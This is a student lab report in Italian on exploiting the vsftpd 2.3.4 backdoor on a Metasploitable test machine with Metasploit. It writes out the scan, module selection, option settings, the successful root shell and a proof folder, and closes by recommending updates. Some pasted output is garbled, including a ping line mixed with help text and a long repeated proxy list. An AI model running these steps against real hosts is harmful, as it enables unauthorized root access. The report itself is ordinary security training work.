

# Report di laboratorio: Hacking con Metasploit

**Studente:** Nosenzo Maikol

## Obiettivo dell'esercizio:

L'obiettivo è verificare l'esistenza di una vulnerabilità nota (associata a versioni non aggiornate di **vsftpd**) e dimostrare la possibilità di accesso alla macchina.

## Configurazione dell'Indirizzo IP:

La prima cosa di cui ci siamo occupati è stata la configurazione dell'indirizzo IP della macchina target (Metasploitable) come richiesto dalla traccia dell'esercizio. Abbiamo quindi impostato il suo indirizzo IP: **192.168.1.149**

```
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.149
netmask 255.255.255.0
gateway 192.168.1.1
```

## Verifica di comunicazione con il target:

In seguito per verificare che le 2 macchine comunicassero tra di loro abbiamo effettuato un ping da Kali (192.168.50.100) verso Metasploitable (192.168.1.149).

```
(kali@kali)-[~]  
$ ping 192.168.1.149 by name or index. For example info 1, or  
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.  
64 bytes from 192.168.1.149: icmp_seq=23 ttl=63 time=15361 ms  
64 bytes from 192.168.1.149: icmp_seq=24 ttl=63 time=14337 ms  
64 bytes from 192.168.1.149: icmp_seq=25 ttl=63 time=13313 ms  
64 bytes from 192.168.1.149: icmp_seq=26 ttl=63 time=12288 ms  
64 bytes from 192.168.1.149: icmp_seq=27 ttl=63 time=11265 ms  
64 bytes from 192.168.1.149: icmp_seq=28 ttl=63 time=10241 ms  
64 bytes from 192.168.1.149: icmp_seq=29 ttl=63 time=9217 ms  
64 bytes from 192.168.1.149: icmp_seq=30 ttl=63 time=8193 ms  
64 bytes from 192.168.1.149: icmp_seq=31 ttl=63 time=7169 ms  
64 bytes from 192.168.1.149: icmp_seq=32 ttl=63 time=6145 ms  
64 bytes from 192.168.1.149: icmp_seq=33 ttl=63 time=5117 ms
```

## Avvio e configurazione di Metasploit:

Una volta finite queste configurazioni siamo passati a quella di **Metasploit**, una piattaforma open-source molto potente utilizzata principalmente per penetration testing, ricerca di vulnerabilità e sviluppo di exploit. La prima cosa è stata l'avvio dell'interfaccia principale del framework con il comando **msfconsole**.

```
(kali@kali)-[~]  
$ msfconsole  
Metasploit tip: Use help <command> to learn more about any command  
  
*Neutrino_Cannon*PrettyBeefy*PostalTime*binbash*deadastronauts*EvilBunnyWrote*L1T*Mail.ru*(  
*Team sorcerer*ADACTF*BisonSquad*socialdistancing*LeukeTeamNaam*OWASP Moncton*Alegori*exit*(  
*QuePasaZombiesAndFriends*NetSecBG*coincoin*ShroomZ*Slow Coders*Scavenger Security*Bruh*NoT  
*edspiner*BFG*MagentaHats*0x01DA*Kaczuski*AlphaPwners*FILAHA*Raffaela*HackSurYvette*outout  
*SKUA*Cyber COBRA*flaghunters*0xCD*AI Generated*CSEC*p3nnm3d*IFS*CTF_Circle*InnotecLabs*baa  
*ItPwns - Intergalactic Team of PWNers*PCCsquared*fr334aks*runCMD*0x194*Kapital Krakens*Rea  
*H4CKSN0W*InfoSec*CTF Community*DCZia*NiceWay*0xBlueSky*ME3*Tipi'Hack*Porg Pwn Platoon*Hac  
*ideaengine007*eggcellent*H4x*cxw167*localhorst*Original Cyan Lonkero*Sad_Pandas*FalseFlag*0  
*Cult of the Dead Turkey*doesthismatter*crayontheft*Cyber Mausoleum*scripterz*VetSec*norbot  
*x00-x00*BlackCat*ARES*cxp*vaporsec*purplehax*RedTeam@MTU*UsalamaTeam*vitamink*RISC*forkbo  
*etherknot*cheesebaguette*downgrade*FR!3ND5*badfirmware*Cut3Dr4g0n*dc615*nora*Polaris One*t  
*Sudo Society*incognito-flash*TheScientists*Tea Party*Reapers of Pwnage*OldBoys*M0ul3Fr1t1B  
*iMosuke*Infosec_zitro*CrackTheFlag*TheConquerors*Asur*4fun*Rogue-CTF*Cyber*TMHC*The_Pirhac  
*Hinc*The Pighty Mangolins*CCSF_RamSec*x4n0n*x0rc3r3rs*emehacr*Ph4n70m_R34p3r*humziq*Preemi  
*TeamFastMark*Towson-Cyberkatz*meow*xrzhev*PA Hackers*Kuolema*Nakateam*L0g!c B0mb*NOVA-Info  
*B0NG0R3*  
*Les Tontons Fl4gueurs*
```

```
=[ metasploit v6.4.69-dev ]
+ -- --=[ 2529 exploits - 1302 auxiliary - 431 post ]
+ -- --=[ 1669 payloads - 49 encoders - 13 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
```

Successivamente tramite l'aiuto del comando **nmap -sV** abbiamo rilevato che sulla porta 21 (porta aperta su Metasploitable) la versione del servizio vsftpd (2.3.4) non è aggiornata e quindi vulnerabile a un possibile exploit.

```
Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
msf6 > nmap -sV -p 21 192.168.1.149
[*] exec: nmap -sV -p 21 192.168.1.149

Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-25 10:17 EDT
Nmap scan report for 192.168.1.149
Host is up (0.0092s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds
```

Una volta ottenuta questa informazione siamo passati alla ricerca dell'exploit per vsftpd tramite il comando **search** che permette di cercare all'interno di Metasploit gli exploit disponibili verso un determinato servizio. Una volta trovato il modulo che ci serve lo abbiamo utilizzato per stabilire una backdoor nella Metasploitable (con il comando **use** seguito dal modulo).

```
msf6 > search vsftpd
```

#### Matching Modules

| # | Name                                 | Disclosure Date | Rank      | Check | Description                              |
|---|--------------------------------------|-----------------|-----------|-------|--|
| 0 | auxiliary/dos/ftp/vsftpd_232         | 2011-02-03      | normal    | Yes   | VSFTPD 2.3.2 Denial of Service           |
| 1 | exploit/unix/ftp/vsftpd_234_backdoor | 2011-07-03      | excellent | No    | VSFTPD v2.3.4 Backdoor Command Execution |

Interact with a module by name or index. For example `info 1`, `use 1` or `use exploit/unix/ftp/vsftpd_234_backdoor`

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
```

100

```
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
```

| Name    | Current Setting | Required | Description   |
|---------|-----------------|----------|---|
| CHOST   |                 | no       | The local client address  |
| CPORT   |                 | no       | The local client port   |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, socks5h2, socks5h3, socks5h4, socks5h5, socks5h6, socks5h7, socks5h8, socks5h9, socks5h10, socks5h11, socks5h12, socks5h13, socks5h14, socks5h15, socks5h16, socks5h17, socks5h18, socks5h19, socks5h20, socks5h21, socks5h22, socks5h23, socks5h24, socks5h25, socks5h26, socks5h27, socks5h28, socks5h29, socks5h30, socks5h31, socks5h32, socks5h33, socks5h34, socks5h35, socks5h36, socks5h37, socks5h38, socks5h39, socks5h40, socks5h41, socks5h42, socks5h43, socks5h44, socks5h45, socks5h46, socks5h47, socks5h48, socks5h49, socks5h50, socks5h51, socks5h52, socks5h53, socks5h54, socks5h55, socks5h56, socks5h57, socks5h58, socks5h59, socks5h60, socks5h61, socks5h62, socks5h63, socks5h64, socks5h65, socks5h66, socks5h67, socks5h68, socks5h69, socks5h70, socks5h71, socks5h72, socks5h73, socks5h74, socks5h75, socks5h76, socks5h77, socks5h78, socks5h79, socks5h80, socks5h81, socks5h82, socks5h83, socks5h84, socks5h85, socks5h86, socks5h87, socks5h88, socks5h89, socks5h90, socks5h91, socks5h92, socks5h93, socks5h94, socks5h95, socks5h96, socks5h97, socks5h98, socks5h99, socks5h100 |
| RHOSTS  |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>   |
| RPORT   | 21              | yes      | The target port (TCP)   |

| Name    | Current Setting | Required | Description   |
|---------|-----------------|----------|---|
| CHOST   |                 | no       | The local client address  |
| CPORT   |                 | no       | The local client port   |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, so  |
| RHOSTS  |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 21              | yes      | The target port (TCP)   |

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT => 21
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[-] 192.168.1.149:21 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection with (192.168.1.149:21) timed out.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:39569 -> 192.168.1.149:6200) at 2025-08-25 09:51:42 -0400
```

## Creazione del file “malevolo”:

Una volta ottenuta la possibilità di comandare la shell di Metasploitable abbiamo creato la cartella come richiesto dall'esercizio.

```
cd /
mkdir /test_metasploit
ls -la
total 109
drwxr-xr-x  22 root root  4096 Aug 25 09:51 .
drwxr-xr-x  22 root root  4096 Aug 25 09:51 ..
drwxr-xr-x   2 root root  4096 May 13 2012 bin
drwxr-xr-x   4 root root 1024 May 13 2012 boot
lrwxrwxrwx   1 root root   11 Apr 28 2010 cdrom → media/cdrom
drwxr-xr-x  14 root root 13540 Aug 25 09:30 dev
drwxr-xr-x  94 root root  4096 Aug 25 09:30 etc
drwxr-xr-x   6 root root  4096 Apr 16 2010 home
drwxr-xr-x   2 root root  4096 Mar 16 2010 initrd
lrwxrwxrwx   1 root root   32 Apr 28 2010 initrd.img → boot/initrd.img-2.6.24-16-server
drwxr-xr-x  13 root root  4096 May 13 2012 lib
drwx-----  2 root root 16384 Mar 16 2010 lost+found
drwxr-xr-x   4 root root  4096 Mar 16 2010 media
drwxr-xr-x   3 root root  4096 Apr 28 2010 mnt
-rw-----   1 root root 23125 Aug 25 09:30 nohup.out
drwxr-xr-x   2 root root  4096 Mar 16 2010 opt
dr-xr-xr-x 109 root root    0 Aug 25 09:30 proc
drwxr-xr-x  13 root root  4096 Aug 25 09:30 root
drwxr-xr-x   2 root root  4096 May 13 2012 sbin
drwxr-xr-x   2 root root  4096 Mar 16 2010 srv
drwxr-xr-x  12 root root    0 Aug 25 09:30 sys
drwx-----  2 root root  4096 Aug 25 09:51 test_metasploit
drwxrwxrwt   4 root root  4096 Aug 25 09:31 tmp
drwxr-xr-x  12 root root  4096 Apr 28 2010 usr
drwxr-xr-x  14 root root  4096 Mar 17 2010 var
lrwxrwxrwx   1 root root   29 Apr 28 2010 vmlinuz → boot/vmlinuz-2.6.24-16-server
```

## Conclusioni:

L'esercizio ha dimostrato come una versione non aggiornata di un servizio critico (FTP) possa compromettere l'intero sistema. La creazione dell'artefatto **/test\_metasploit** funge da prova dell'accesso e della corretta esecuzione della procedura. La soluzione principale consiste nell'aggiornamento del software e la maggior difficoltà dell'esposizione del servizio.